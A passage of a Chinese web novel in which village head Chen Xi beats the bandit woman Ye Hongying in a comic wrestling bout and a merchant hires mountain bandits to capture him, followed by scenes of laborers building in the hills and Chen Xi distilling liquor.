而且上次要杀张保全时,叶红缨一枪便震得自己手掌发麻,光是这份气力就比壮男子强上许多,宁乱冒冒失失的肯定要吃亏。
“乱子你别动,我来教教她如何好好说话。”
既然对方话都说到这个份上了,陈息再不上就显得没种了。
还有一个另外一个原因,他也想见识一下这个时代的功夫。
从小看武侠片长大的,你是能飞咋滴?
小爷怕你这个?
叶红缨瞧俩人还抢上了,恨得牙根直痒痒。
“不用抢,姑奶奶让你们俩一起上。”
叶红缨要揍人,今天俩人必须一起揍,不然难解心头恶气。
“3劈么?”
“小爷没那爱好。”
陈息一边说话,一边把上衣脱了,露出一身贱肉。
呸......腱子肉!
这娘们不就是会点武么,小爷不会那玩意。
但小爷能给你玩个花活。
第90章 叶红缨彻底破防
叶红缨何时受过这等委屈,一边躲着陈息那张大脸,一边喊着不服。
“不服是吧,小爷今天指定让你心服口服。”
两人四肢牢牢锁住彼此,皆使不上劲儿,只剩下脑袋还能活动。
叶红缨的头往一边歪,陈息便紧跟着,把脑袋贱嗖嗖地凑近那一侧。
每对上一次,他就问一句:
“服不服。”
持续了好几个来回,陈息只要凑上来,叶红缨嗅到的气息就浓烈,是雄性的荷尔蒙,直冲口鼻。
她不禁皱了皱眉,下半身的腿部也不忘发力,势必要同他一较高下。
由于双方手脚交缠挟制的厉害,其中一人稍稍变化,另一人便可轻易察觉。
陈息感受着叶红缨加重的力道,咬了咬牙关,心想:
这娘们真特么不到黄河心不死。
他前凑的脑袋,一顶。
“呲——”
叶红缨额头传来阵阵痛感,以及嘴上还贴着一张嘴。
围观的村民们都傻了眼,村长不是说展示武艺嘛。
这...这...
怎么抱着那个女土匪亲上了?!
人群团团围住的圈,渐渐缩小,纷纷都拢向两人的身边。
村民们都探出好奇的脑袋看着,正对上叶红缨那张唰红的脸蛋,像是要滴血。
她左右都避不开人群的目光,气的快要哭了,欺负人哪有这样欺负的,说好的比试武艺你使诈。
宁乱在一旁瞧着有些不忍,大哥太能欺负人了,自己得好好劝劝。
低头从地上捡起一根草棍,上面还有些绒毛,对着叶红缨的鼻子,轻轻扫了两下:
他问:“服不服?”
叶红缨万万没想到,陈息就够贱了,那个白毛小子也这么贱。
她鼻子处搔痒难耐,忍不住打了个喷嚏。
“阿嚏——”
陈息还追着叶红缨的脸问服不服,愣是没想到,她的一个大喷嚏,喷溅在他脸上。
陈息费劲眨巴眨巴眼睛,唾沫星子射进了眼底,视线有些模糊。
扭头对着宁乱就骂:
“滚特么一边子去。”
宁乱实在是太尴尬了,咧着嘴,抬手挠了挠脑袋。
他本想帮大哥问问女土匪服不服,没想到这女土匪喷大哥一脸。
悻悻地转过身子,对着村民们大喊一声:
“大伙都往后稍一稍,我大哥马上就要成功了。”
村民们看的正起劲,一个个都美滋滋的,村长的武艺实在太高强了,都把女匪弄的要哭了。
但宁乱是村长的小弟,他的话不敢不从,都自觉的退回原来的位置,伸着脖子向里面看。
叶红缨已经快要破防了,这一个大喷嚏实在是太丢人了,虽说自己是将门世家大小姐,但也要注意些形象嘛。
看着陈息还在那眨巴眼睛,叶红缨不知是该哭还是该笑,原本一张俏脸此刻别扭的不成样子。
陈息眨巴了好一会,眼中涩涩的感觉逐渐减退,转过头来又继续工作:
“服不服?”
叶红缨被他搞得无语了,小孩子过家家么,非得问服不服,奈何身子被他制住,只能选择一个择中的方式:
“平手行不行?”
陈息大嘴一咧,又是顶我,又是喷我一脸的,你说平手就平手?
天下都没有这般道理,今天必须把你制服。
“不行。”
陈息想到了一个办法,既然双方都使不上力气,那就别怪小爷玩点阴的了。
找准叶红缨愣神的时机,用下巴蹭了蹭叶红缨的脖子,反复摩擦。
我看你受不受痒就完了。
叶红缨被陈息搞得猝不及防,她浑身都是痒痒肉,哪里受的了这样。
脑袋不停的晃动,企图摆脱他的下巴,但陈息力大,一旦抓住机会就不放手。
下巴的胡渣不停刺激着叶红缨的脖子,叶红缨怎么都躲不过,此刻彻底破防了。
“哈哈哈你.....停.......哈哈不要.......哈哈......”
周围人群由于离得远,望得不真切。
听见叶红缨的断断续续说停?
不要停
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要不咋说是女匪呢,性子就是这么狂放不羁。
村民们十分惊奇,这女匪还挺会享福。
村长的武艺就是高超!
陈息一通小连招,搞得叶红缨痒的不行。
叶红缨此刻忍到了极限,还要什么形象,被个男子这么欺负还顾什么廉耻。
她咬上陈息肩膀,叶红缨刚咬着,就松开了嘴。
叶红缨后悔了,后悔这么鲁莽。
陈息肩膀不但滑得啃不上,还一股子生獾油味。
“呸呸呸——”
陈息感受到肩膀疼痛,回过头来想看看什么情况,刚对上叶红缨的嘴,被她来个三连呸。
叶红缨口水夹杂着獾油,又喷进他眼睛里了。
陈息也破防了,我这是造了什么孽啊?
连喷带呸的,他眼睛里痒得不行,实在忍不住抽回一只手揉眼睛。
叶红缨压力减轻,一只手撑地挺起腰杆,想要翻身。
陈息警觉到不好,顾不上揉眼睛,想继续抱住却来不及了。
叶红缨力气虽然没有陈息大,但胜在常年习武,卯足了力侧过身来。
她心中一喜,终于不用对上那张讨厌的脸了。
陈息摁不住她了,索性松开双腿,一借力,身子转了一圈。
他依旧死死环着叶红缨腰肢,又把她侧摁倒地,继续道:
“服不服!”
叶红缨脑袋这次对不上陈息脸了,但对上了一坨大面馒头。
她双臂被死死反剪,她想咬陈息那地方,竟都够不到。
但陈息这边则不同了,心一横,你不是不服么,小爷今天拼了。
腾出一只手,啪的一掌扇在叶红缨挺实的蜜桃上,继续道:
“服不服!”
“不服!”
“啪——”
“服不服!”
“不服!”
陈息一连打了十几个巴掌,手掌都拍红了,这娘们挺能忍啊,这回我换成掐。
就在他打定主意时,叶红缨再也忍不住了,哇的一声哭了出来:
“服啦...呜呜呜!”
第91章 壮劳力到位
听见这声服了,陈息微微松口气。
若是这娘们还不服的话,自己也不能一直拍她,身为村长还是需要注意些形象的。
不然和流氓有什么区别。
“既然你服了的话,我就放开你。”
“但是说好了啊,我放开你,你可不许找后账。”
陈息先把叶红缨的路堵死,不然这娘们后悔,天天追杀自己可麻烦了。
论武艺自己根本不是她对手,今天还是耍了点小聪明勉强取胜,下次她有了防备,自己可没这好运气了。
叶红缨见他不再拍打自己,高冷气质逐渐恢复,冷漠开口:
“放开我。”
陈息听她这个语气,感觉她未必说话算话,继续威胁一下:
“你先说不找我后账,我才放开你,不然继续...”
叶红缨原本打算等陈息放开自己,一定要好好揍他出气,自己这个亏不能白吃。
但没料到他这么狡猾,还在威胁自己,只能暂时委曲求全:
“我答应,你快点放开我。”
见叶红缨答应的爽快,陈息心里更加没底,这娘们肯定在耍诈。
“你发誓。”
叶红缨闻言,浑身气的直哆嗦,这个登徒子居然让自己发誓,她气的不行,索性闭着嘴不说话。
但她不说话以为这事就算完了?
陈息等了半天,见她哆嗦着身子一句话不说,臭娘们跟我装是吧,不信制不了你。
只见陈息把那只大手高高举起,故意找了个叶红缨能看见的位置,活动几下手腕,大喝一声:
“如来神掌!”
“停!”
叶红缨绷不住了,光看见那只大手晃来晃去,还喊出这么高深莫测的掌法名字,这要是拍下去......
“发不发誓?”
陈息大手拿到嘴边,哈了一口气,继而活动一下手指,又高高举起。
咋地吧,痛快的发誓,小爷就放了你,不然的话,啧啧啧......
叶红缨刚止住哭泣,这会又红了眼眶,深吸了一口气,身子依旧颤抖着不停。
“我发誓。”
陈息得意一笑,小样的,治不了你了。
如来神掌要是唬不住她,我还有一阳指!
“你发誓,若找我后账...”
这货说到一半,眼珠子转了转:
“若是找我后账,一辈子嫁不出去,被卖给老头为奴为婢。”
陈息看出这女人性子孤傲,这种誓言对她来说是最致命的。
果然,叶红缨听到陈息让自己说这么恶毒的誓言后,气的柳眉倒竖。
但陈息的大手就在眼前,一旦落下去......最终还是理智战胜了冲动。
“我发誓,若是找你后账,一辈子嫁不出去,卖给老头为奴为婢。”
陈息轻哼了一声,终于达到他满意的效果,双腿松开立即窜了出去跑回人群。
叶红缨起身后都不整理衣裳,就站在那里,双目死死的盯着陈息。
陈息躲在人群里,伸手拉着宁乱站在自己身边,心里才算有点安全感。
叶红缨不说话,陈息也不说话,百姓们见村长有点虚那女匪,都选择鸦雀无声,就这么静静的看着。
叶红缨盯了陈息好一会,一句话没说扭头牵过黑马就走,在上马以前,又狠狠瞪了一眼陈息。
潇洒利落的翻身上马,屁股一坐马鞍,瞬间又抬起,红着脸回头再次瞪了一眼陈息。
“驾——”
叶红缨走后,村民们掌声雷动。
“村长太棒了,村长就是我们窝窝村的英雄。”
“村长,你还要婆娘不哩,俺妹子就在隔壁村,长得可水灵哩。”
“村长别听她瞎说,俺妹子才水灵,过几天把她送村长家里呀,咯咯。”
男村民们欢呼,妇人们见陈息三位夫人不在,也都打趣起来,场面极度融洽。
陈息哈哈大笑几声,知道这帮妇人在打趣自己,丝毫不生气,反倒很开心。
窝窝村百姓日子越过越好,自己这个村长面上也有光。
“都回去侍候当家的去,本村长可不近女色。”
陈息笑骂几句,惹得妇人们咯咯直笑,刚打发走村民,村口又来了一辆马车。
陆达亲自驾车,后面整齐的跟着几十个壮丁,脸上洗的干干净净,人人穿着新袄,精神状态还不错。
马车驶到近前,陆达一脸喜色下车,对着陈息一拱手:
“陈神医别来无恙,小老儿按照约定给您送人来了。”
陆达态度很亲切,自己这几天可是没少为这事操心,知道是陈息买的人,对待这帮劳力一点不苛刻,每天两顿饭食管够,还给他们置办了新袄。
“陆掌柜的辛苦了,怎么还亲自驾给我送人,感激不尽。”
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>陈息和他客套了几句,随后看着马车后面的几十个劳力,微微点头。
这些劳力的长相,一看就不是大御的人,像是后世草原那边的男子。
个子不是很高,但很健硕,年龄大约都在30岁左右,面无菜色,衣无补丁。
显然是得到了特殊照顾。
陆达将陈息让到近前,从那些壮劳力中喊出一人。
“胡伢子,这位就是你们的主人,你给主人讲讲你们的情况。”
人群中站出来一人,身高足有2米,在这群壮劳力中显得鹤立鸡群。
胡伢子一副络腮胡子,长相很凶悍,但见到陈息后,态度十分谦卑,低着头道:
“胡伢子见过主人,我是这群人的领头,我们都是从草原而来。”
陈息早就注意到了胡伢子,无他,实在是他的身高太显眼了。
陈息上下打量一下胡伢子,开口问道:
“你们为何要来大御?”
“回主人的话,我们的家园被侵占了,族人们都被外族杀了,无奈之下才逃到大御。”
胡伢子说话间,难藏眼中悲伤,仔细将部落被侵占的过程讲述了一遍。
原来这些人都生活在大御国界之外的草原,这些人以部落的形式生存。
他们原本拥有一片肥沃草原,世代放牧为生。
但随着外族入侵,那帮畜生屠尽了他们族人,占领他们家园,他们敌不过,只能逃到大御躲避。
由于没有大御牙籍,只能求助与草原做生意的陆达带他们到这里。
陈息听完缓缓点头,对他们的遭遇表示同情,这些人都没有族人,倒是免去了后顾之忧。
“你们都是一个部落的?”
“回主人,我们是不同部落的。”
陈息挑了挑眉,不同部落就好办,正好方便管理。
从怀里掏出5个小黄鱼递给陆达:
“麻烦陆掌柜的,近期再帮我准备些蒙马,以上次的说好的精盐换。”
陆达闻言眼睛一亮,终于谈到他心心念念的生意了。
“陈神医放心,小老儿回去便给您准备。”
生意达成,送走美滋滋的陆达。
陈息将50外族劳力暂时安排在张保全的房子里,他死后这房子便成了空屋,自然要物尽其用。
有了这些壮劳力加入,下一步的计划就是进山。
发展根据地。
第92章 有人买命
翌日清晨。
陈息与宁乱早早起来全部武装,今天是带着壮劳力进山的日子。
安顿好家中一切,带着人便出发进山。
与此同时,白山县城,王家。
家主王章坐在一张宽大的椅子上,身边桌上放着一小罐精盐。
正是苏韵销售的。
此刻王章紧绷着脸,面沉似水。
身边几个小丫鬟战战兢兢,低着头站在那里不敢出声。
不多时,管家李全快步进屋,见到王章后弯腰躬身:
“家主,奴才已经调查清楚了,苏家的这批精盐,很有可能出自窝窝村。”
王章闻言眯起了眼睛,县城周边的村子他还是知道的,不过是一个普通的穷村子,怎么可能有这种品质的精盐。
“说说你的分析。”
李全早已将语言组织好,慢条斯理将他的分析讲了出来。
“奴才听苏家下人说,苏韵染病期间足不出户,也没有访客到访。”
“她前些日子突然发病,恰巧被窝窝村的一位神医救了。”
“紧接着她便去了窝窝村,而回来之后一天不到,苏家便有了这等精盐售卖。”
“从时间上分析,这批精盐可能与窝窝村神医脱不了干系。”
李全将他的分析讲完,站在那里听候家主吩咐。
王章听完深吸一口气,身子放缓,轻轻靠在椅背上,手里摩挲着一只玉佩,眼中精光闪烁。
“窝窝村那位神医,是何许人也?”
听到家主问话,李全再次躬身:
“据奴才调查,那名神医叫陈息,还是一个猎户,前些日子猎到一只猞猁将皮**献给县令夫人得了100两赏银。”
王章听到这里,眼睛突然瞪大,他好像猜到什么了。
“前些日子山宝堂卖的那只熊瞎子,想必也是那个叫陈息的猎户猎的吧?”
山宝堂售卖熊瞎子一事满城皆知,他也曾私下打听过老关,但老关守口如瓶只说从一位经验丰富的猎户手里得来,并未透露那猎户的身份。
王章本想从那猎户手里私下购些野味送礼,可惜未能如愿,如今看来那只熊瞎子十有**也是他猎的。
“依奴才分析,咱们这白山县附近,哪里还有什么经验老道的猎户,山宝堂这几年也未出现大货。”
“不过县令夫人的猞猁皮**,和山宝堂的熊瞎子几乎同时间出现,奴才断言...”
“正是窝窝村那猎户所售。”
管家李全说完,王章深吸了口气,这么分析的话,精盐、神医、猎户,这三条线索同时都指向了陈息。
思及此处,王章突然皱起眉头,好像想到了什么,开口问道:
“我听护院说,最近鹰嘴山下山砸窑折了好些个弟兄,好像折在了什么村子,知道是哪么?”
王章听护院聊过此事,好像是折在了什么村子,具体是哪里他并没有多问。
他本是生意人,对土匪那些破事不感兴趣,有问题只需拿钱找他们办事即可,至于他们怎么办,自有他们的方法。
王章和土匪纯属合作关系,有事找他们,无事不联系。
李全闻言思索一下,他近期没到鹰嘴山送份子,对细节不清楚,只能将当事人找来直接回话家主。
“家主稍等,奴才将那护院找来。”
“去吧。”
不多时,李全将一武夫打扮的中年人带到客间,武夫见到王章一拱手:
“家主,请您吩咐。”
王章刚才在闭目凝神,听见护院来了,缓缓睁开眼睛,问道:
“鹰嘴山下山砸窑,折在了什么地方,你知道么?”
武夫闻言,呼吸加重了几分,他和吴亮是师兄弟,一个在王家做护院,一个到鹰嘴山落草,平时师兄弟关系很好,自然知道吴亮在哪里受伤的。
“回家主,他们折在了县北的窝窝村。”
王章深吸一口气,眼睛眯起,还真是窝窝村,此事引起了他极大的兴趣。
“具体是什么情况,你说说。”
武夫有些诧异,平时家主对土匪的事都不怎么感兴趣,今日怎么突然来了兴致,既然家主问了,自己当然要答:
“鹰嘴山得到消息,窝窝村有人得了100两银子,大当家的让我师弟下山砸窑,没想到点子扎手,折了很多弟
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兄。”
王章听完笑了。
猞猁皮**换100两银子,山宝堂售卖的熊瞎子,治好苏韵的神医,神秘的精盐,打退土匪的窝窝村,全都连在了一起。
事情脉络已经清晰,这陈息不光是神医猎户,还能让土匪损失惨重,果真有点意思。
“行了,你下去吧。”
“是。”
打发走了武夫,王章笑呵呵的对李全道:
“说说你的想法。”
李全沉思一会,他在王府做管家这么多年,早已摸透家主的性子,接下来要怎么做,已经很明朗了。
“家主,奴才以为,鹰嘴山上次在窝窝村失手,应该是没有踩盘子踢了牙,这个仇他们不可能不报。”
“那个猎户神医应该命不久矣,家主有什么吩咐,奴才立即去办。”
“知道怎么做么?”
王章想考考他,李全跟了自己这么多年,也算有些脑子,看看他能不能悟到。
李全躬身,语气与之前截然不同,显得有些唯唯诺诺:
“奴才斗胆猜测,家主是让奴才到鹰嘴山同他们一起行动,他们**抢银子,奴才把精盐带回来。”
王章闻言哈哈一笑,这李全有些脑子,但不多,随即有些骄傲起来,说教道:
“你呀你,那些精盐才值几个钱,有些东西到手,才是真正的一本万利。”
李全装作一愣,其实家主的想法他早已猜到。
但家主很喜说教,自己怎么能比家主还聪明呢,不然的话,他在王家也做不了这么多年管家。
捧人的火候,掌握的十分到位。
“家...家主恕奴才愚钝...”
“我说,你听着。”
王章站起身来,手中把玩着玉佩,在宽大的客间里,踱着步道:
“带上100两银子立即到鹰嘴山,告诉冯元庆,他们抢钱可以,但是不能伤那神医猎户。”
“这100两银子,买他的命。”
“事成之后将他押回来,本家主自有打算。”
李全听完,低头称是,急忙退出客间到账房支钱。
一场针对陈息的阴谋,即将展开。
第93章 起局子
鹰嘴山。
匪寨。
这几天给小匪们忙坏了,大当家的二当家的全部受了伤,索性把他们安排在一起,方便侍候。
“嘶...踏马的轻点,疼疼疼...”
冯元庆侧着身子躺在床上,前胸后背淤青一片,尖嘴猴腮小匪一边咧着嘴,一边给他涂抹上药。
“大当家的,您看这个力度合适么,我...我...”
他急得汗都下来了,手重了大当家的喊疼,手轻了还涂不均匀,侍候人的工作不好干啊。
“行了,滚去给老二换药去。”
尖嘴猴腮小匪如蒙大赦,颠颠跑到隔壁屋侍候二当家去了。
他也难啊,两个病号需要自己照顾,哪个都得罪不起,在家侍候老娘都没这么细心过。
赶走了小匪,冯元庆艰难起身,轻轻活动几下脖子。
坐在床上缓了好一会,才让苏媚娘帮他穿好衣裳,嘴里骂骂咧咧不停。
“那臭娘们下手太重了。”
他只敢背后骂骂,见了叶红缨乖巧的像个孙子。
苏媚娘半张脸肿的像猪头,这还是叶红缨手下留情,只扇了她一巴掌,若是像揍冯元庆那般揍她,苏媚娘包死的。
“当家的,那臭娘们不是走了嘛,以后都是咱们的好日子。”
苏媚娘帮他穿好了衣裳,又拿起药油抹在自己脸上,每接触一下皮肤便疼的一咧嘴。
“唉——”
冯元庆叹了一口长气,他知道叶红缨走了,但她的规矩还在。
临走时再三强调,她虽然是出去散心,但若发现鹰嘴山不守她立下的规矩,她再次回来可不是单单揍他们一顿那么简单了。
“玛德,憋屈啊。”
冯元庆恨恨一拳砸在床上,不小心牵动了肩膀伤势,疼的直咧嘴。
苏媚娘见当家的火气大,忍着脸部疼痛上前讨好,由于半边脸肿胀,艰难的张大嘴巴,同时双手去解......。
“我给当家的去去火。”
感受到下面清凉,冯元庆一把薅住她头发甩在一边。
“去火,我去尼玛的。”
他现在看见这小浪蹄子就来气,自打她上山后,自己的老腰一天不如一天。
每晚不来个三次四次的都不行,蛮牛也禁不起她这么折腾,搞得自己腰膝酸软,走路都晃晃悠悠的。
自己有伤在身她还想着那事,再这样下去,迟早死她肚皮上。
见当家的对自己发火,苏媚娘委屈巴巴的不敢出声,她还指望冯元庆养活呢,怎敢造次。
两人正郁闷呢,外面噔噔蹬跑进来一个小匪,见了冯元庆一躬身:
“大当家的,李管家上山了,想见见您。”
冯元庆一听李全来了,更加郁闷了,自己伤成这样怎么见客,不得让人笑话死。
“就说我不在,有什么事你先记下来,等我伤好再说。”
李全来了肯定是找自己办事,不是**就是放火,上次折了10个弟兄伤了元气,必须得缓缓。
“那个...大当家的...他带着重礼,估摸着有不少钱。”
一听见李全带着重礼,冯元庆脸上变颜变色,拧着眉头沉思一会,折了10个弟兄正是缺钱的时候,他舍不得这到手的银子。
“行,给他带进来吧。”
打发走了小匪,冯元庆整理一下衣裳,坐直了身子,装作没受伤的样子。
不多时,李全双手捧着一个盒子走了进来,见到冯元庆第一句话就直奔主题。
“我家主找大当家的办事,这是花红。”
李全打开盒子,10个银锭子码放的整整齐齐,见冯元庆看清了里面银子,砰的一声把盒子扣上。
不用冯元庆让,自己找个舒服的椅子坐下,身边有小匪立即上茶,这可是鹰嘴山的财神爷,必须得侍候好了。
冯元庆见到那么多银锭子,眼珠子一下瞪大了,王章出手从来没这么大方啊。
平时让自己杀个人放个火,顶多给个10两银子,这次是怎么了?
没看错的话,那盒子里装的可是整整100两。
莫非是劫皇杠?
他咽了口唾沫,视线从那盒子移开,锁定到李全脸上,深吸了口气问道:
“王章要咱做啥梁子活?”
李全端起茶杯饮了一口,手指来回敲打几下装银的盒子,目光环视一圈,随意说道:
“买个人。”
冯元庆愣了一下,买个人?
下意识的扭头看了眼半边脸肿胀的苏媚娘,又把头转回去,语气十分坚定:
“带走吧。”
冯元庆心想,最近自己也没劫人啊,整个匪寨里看得上眼的就属这小浪蹄子,自己都差点死她肚皮上,赶快拿走。
他还想跟一句:概不退货。
李全听冯元庆说完,一口茶水差点没喷出来,这种货色能值100两银子?
“大当家的别误会,我听说咱们寨子折了好些个弟兄,可有此事?”
冯元庆深吸了一口气,不是说买人的事么,提这种不露的脸事干嘛?
“王章他有什么事就直说吧,不用拐弯抹角的。”
冯元庆没什么好脸色,折了那些弟兄本就肉疼,此刻又被拿来说事,再好的脾气也忍不了。
李全呵呵一笑,知道他们土匪爱面子,丢人的事不愿说出来,不过他不在意,这100两银子可不是好拿的。
“我们家主说了,这100两银子花红,买窝窝村的陈息。”
李全还故意抬了抬下巴,一脸挑衅的说道:
“这个花红能接么?”
他知道冯元庆在窝窝村吃了
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亏,仇是肯定要报的,只是他没想清楚,事情过去好几天了,怎么还没动手,故而先试探几句。
他这句话可问住了冯元庆,叶红缨刚走没几天,自己不敢出去找麻烦。
他本打算等些日子若是没了叶红缨的消息,再到窝窝村报仇雪恨,这笔账迟早都要算的。
但眼下这个时刻......
冯元庆没了主意,一边是叶红缨定下的规矩,一边是白花花的银子。
就在冯元庆拿不定主意时,尖嘴猴腮土匪把二当家的吴亮推了出来。
吴亮在屋内,冯元庆和李全的对话他都听见了,此刻他鼻青脸肿的坐在一张轮椅上,对着冯元庆只说了两个字:
“大哥。”
随后给冯元庆使了个眼色,那意思是把花红接了。
事后他找人打探过窝窝村,伤自己的白毛小子叫宁乱,而正主是陈息。
王章买的不是陈息么,只要不是那白毛小子就好办,那个人他是必杀的。
每每想到自己这条废腿,他都恨欲发狂,等抓到那白毛小子,定要活刮了他。
冯元庆见吴亮给自己使眼色,犹豫再三还是拿不定主意,他实在是太忌惮叶红缨了,但白花花的银子就在眼前......
想了半天,看了眼装银的盒子,最终狠狠一咬牙,人为财死鸟为食亡。
“回去告诉王章,半月后,到鹰嘴山领人。”
“好,大当家的爽快,半月后,我来押人。”
李全离开后,冯元庆问吴亮:
“老二,这事你看怎么办?”
他倒不担心对方战斗力如何,他担心的是叶红缨没走远,若是那娘们子知道自己不守规矩,后果可以预见。
“大哥你放心,这次咱们鹰嘴山起局子,拉上其他山头弟兄一起干,就算那娘们知道了又能怎样。”
“周围山头都参与了,她还能挨个挑了不成?”
吴亮早就想好了对策,一个叶红缨能压的鹰嘴山喘不过气,还能压了周围所有山头?
再说了,那娘们万一走远了呢,有什么不敢干的。
就算那娘们找麻烦也不怕,这么多山头,起码几百个弟兄,惹急了连那娘们一起做了。
以绝后患。
“好,踏马的就这么办。”
冯元庆狠下心来,立即向下吩咐:
“传书周围山头,我鹰嘴山起局子,一个弟兄一两银子,召集50人。”
上次10人没拿下,这次50人我看看怎么样,再加上自己寨子能动弹的,一个小小的窝窝村,还能反了天不成。
“大哥,这事我来办,你在山上等我消息。”
吴亮自告奋勇,虽然废了一条腿,但他那火爆性子可没废。
陈息和宁乱,包括那三个臭娘们,一个都别想跑。
第94章 踩盘子
一连几日,陈息带着50壮劳力在深山里做工。
李大李二在家里做完了**武器,也被陈息安顿在了这里。
这里的规划很大,首先要在盐矿附近建房,以后直接在这提纯,省去了很多麻烦。
然后便是修路,修一条马车能上山的路。
周围的树木全部砍伐干净,这样一来猛兽无处藏身,危险大大降低。
武怡和宁宁这几天跟着李二做工,进步很大,两个小丫头甚至能独自做一把连**。
李大李二非常喜欢这个两个小丫头,拿她们当亲孙女看待,老小相处的十分融洽。
李大还想教两个小丫头打铁,不过被陈息强力制止了。
哪有小姑娘打铁的,以后还嫁的出去么。
陈息画了很多建设需要的图纸,全部交给武怡和宁宁处理,两个小丫头很兴奋,有事做总比白吃饭强。
带着劳力在山里做工,时不时打些猎物给劳力们改善伙食。
劳力们被分成5组,每10人一组,每组都安排不同部落的人混在一起,防止同部落**。
不过陈息想的有些多余了,这些劳力本想着逃到大御能有一口饭吃就行,哪里还想跑。
他们没有牙籍,被朝廷抓到直接充军,在军队里也被当成敢死队来用,和杀头没什么区别。
在这里不但有饭吃,时不时还有荤腥,主人对他们和善,没拿他们当牲口使。
他们本是些逃难之人,没想到在大御还能体会到人情之暖,心里很感激主人。
胡伢子被陈息提拔为领队,带着劳力修路建房,时不时还跟陈息学些狩猎的手艺。
山里的工作安排完了,陈息让宁乱和胡伢子负责这边,自己则在家指导张神医医术。
义诊时期,周围患病的百姓听说诊病不要钱,都到窝窝村来看病。
张神医有了出手的机会,师父在一旁时不时指点一下,以前想不通的许多难题都迎刃而解。
而消失了三天的叶红缨,又突然出现了。
来了就坐在陈息家的墙头上,看着陈息指点白眉毛老头诊病。
每天早早便来,午时就从怀里掏出个烧鸡啃,渴了就拿出酒葫芦喝酒,就是这么随性。
樊妍三女和她说话,时不时还回上几句,其他人根本不理睬,包括陈息。
时间久了大家也都**以为常,每天见不到她还感觉不习惯呢。
开始时,陈息还以为这娘们得了什么大病呢,没打过自己也不至于赖在这里吧。
想不清楚她在搞什么,索性不想,她愿意来就来吧,只要不找麻烦就好。
每次来都是那个墙头,坐在那个位置,把陈息家墙头都坐秃噜皮了。
这一日,病人很少,而且患者都不是什么大病,张神医自己便能搞定。
陈息见叶红缨喝酒,突发奇想,也想搞点尝尝。
不过他可不想喝那种劣质酒,度数低不说,还一股子马尿味。
做了简易的烧酒工具,将从县里买回来的酒水蒸馏,一上午功夫便搞出来了。
尝了一口,对,就是这个味道。
一丝火线入喉,整个身子都暖烘烘的,陈息舒服的打个酒嗝,虽然不能和后世的茅子比,但在这个时代也绝对是碾压级别。
看了眼清澈的酒水,这东西发展好了也能赚到大钱。
不过现在他没那么多心思,先把精盐的问题解决了,打通了销路,以后随便自己发挥。
这几日都跟着工人吃大锅饭,如今有了美酒,必须要搞一顿烧烤。
带着三位娘子就在院中生火,炭火旺旺的,野鸡野兔架在火上就烤了起来。
佐料还是陈息亲自配的,味道自然不用说,不一会,香气四溢。
三个娘子不饮酒,陈息自己倒了一点,一家人吃喝的很开心。
墙头上,叶红缨见他们吃的开心,从怀里掏出一只烧鸡,提鼻子嗅嗅,怎么跟登徒子烤的味道不一样?
又嗅嗅那边的味道,手里的烧鸡瞬间不香了。
感觉到叶红缨在看自己,陈息撕下一个烤的油汪汪的鸡大腿,故意在她眼前晃了晃,随后张嘴啃下一大块。
还贱贱的吧嗒吧嗒嘴,一边吃一边说:
“热乎乎的好香啊,比凉的好吃多了。”
陈息一转头正对上叶红缨的目光,双方一接触,叶红缨白了一眼他,立即扭过头去装作看不见。
切,还挺傲娇。
滋溜一口酒,吧嗒一口肉,时不时还给三位娘子讲个小笑话,逗得几女眉眼都弯了起来。
叶红缨越看陈息舒服惬意,越觉得气恼,这个登徒子哪里修来的好福气,居然能娶到三个漂亮女人。
索性拿出酒葫芦猛灌一口。
酒水入喉,心情稍微平复了一些。
刚想再喝一口,突然听到脚下一道咔嚓声。
低头看去,正是陈息装酒的那只碗,此刻碗已经摔碎,酒水流到地上。
咦?
这酒是什么味道,好香啊。
叶红缨提鼻子嗅了嗅,又闻闻自己的酒葫芦,小脸立即扭曲起来。
烧鸡没有他的香,现在连酒也比不过。
抬头,一脸幽怨的盯着陈息,仿佛把他大卸八块才解恨。
陈息用余光瞥见叶红缨看向自己,立即装的有些醉,嘴里连连向三位娘子解释:
“哎呀,都怪夫君不好,喝的有些头晕,不小心摔碎了碗。”
三女如何不知自家夫君的德行,分明就是在气叶红缨呢,只喝了几小口,怎么可能醉。
樊妍白了陈息一眼,示意他适可而止。
陈息哪里肯罢休,嬉皮笑脸的凑上来,在三女脸颊上各自亲了一口。
陶醉的吧嗒吧嗒嘴:
“好香啊。”
三女都羞**,这还有外人呢,多难为情嘛。
陈息贱贱的样子,叶红缨全部看在眼里,心里恨死这个杀千刀的登徒子了。
拿起酒葫芦又灌了一口,实在有些咽不下去,又
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啐了出去。
闻了陈息的酒香,酒葫芦里的酒直接倒掉。
胸口剧烈起伏几下,一挪屁股下了墙头,几步走到陈息身边,依旧不说话,将酒葫芦伸了过来。
小脸高高扬起,那副傲娇的表情,就好像陈息欠她似的。
陈息白了她一眼,将酒坛子搂在怀里生怕她抢去,贱贱的道:
“一两银子。”
叶红缨胸膛再次剧烈起伏了几下,从腰间摸出一块银子,想要丢到桌上。
突然被一只小手推回,樊妍对着叶红缨笑了笑,转身对着陈息一脸幽怨:
“夫君...”
见到娘子这副表情,陈息赶紧拍了拍樊妍小手:
“唉哟好娘子,怕了怕了。”
娘子都开口了,他能咋办。
接过叶红缨手里的酒葫芦,给她倒满后,一伸手递了回去。
“省着点喝。”
叶红缨拿回酒葫芦,对着樊妍感激的点了点头,又坐回墙头上。
你叫我省着点喝,姑奶奶偏不。
一仰脖子,猛灌一大口。
烈酒入喉,叶红缨脸色唰的一下红透了。
“噗——”
陈息早有准备,赶紧护住炉子和桌上的菜,这大喷泉谁受的了?
“咳咳咳——”
“咳咳咳——”
这一大口高度数白酒,差点没把叶红缨呛死,眼泪鼻涕全流了下来。
樊妍三女赶紧帮她捶着背,擦拭脸蛋,时不时还白了自家夫君一眼。
夫君也太坏了吧,这么欺负一个姑娘。
陈息也是无奈啊,对着三位娘子一摊手,那表情分明在说,我还叮嘱她省点喝,谁知道她那么猛啊。
叶红缨咳了半天,终于缓过气来,手扶着胸口,大口喘着。
樊妍一边帮她抚着背,一边关切问道:
“红缨姑娘好些了吗,夫君的酒是不是好烈呀,有没有哪里不舒服。”
叶红缨又咳了几声才回道:
“多谢夫人...夫人关心,红缨...不小心...呛到了。”
说着话还狠狠刮了陈息一眼,不正经的人,酿的酒也不正经。
哪有这么烈的酒啊,跟小火炭似的。
不过那味道......味道真是好香啊。
经过这一折腾,几女也无暇吃饭了,草草收拾了桌子,下午继续义诊。
病人陆陆续续来了,张神医继续诊病,陈息在一旁指点。
叶红缨依旧坐在墙头上看着,时不时小口小口抿着酒葫芦,表情十分满足。
“下一位。”
张神医诊为一个妇人完了病,喊着下一位患者。
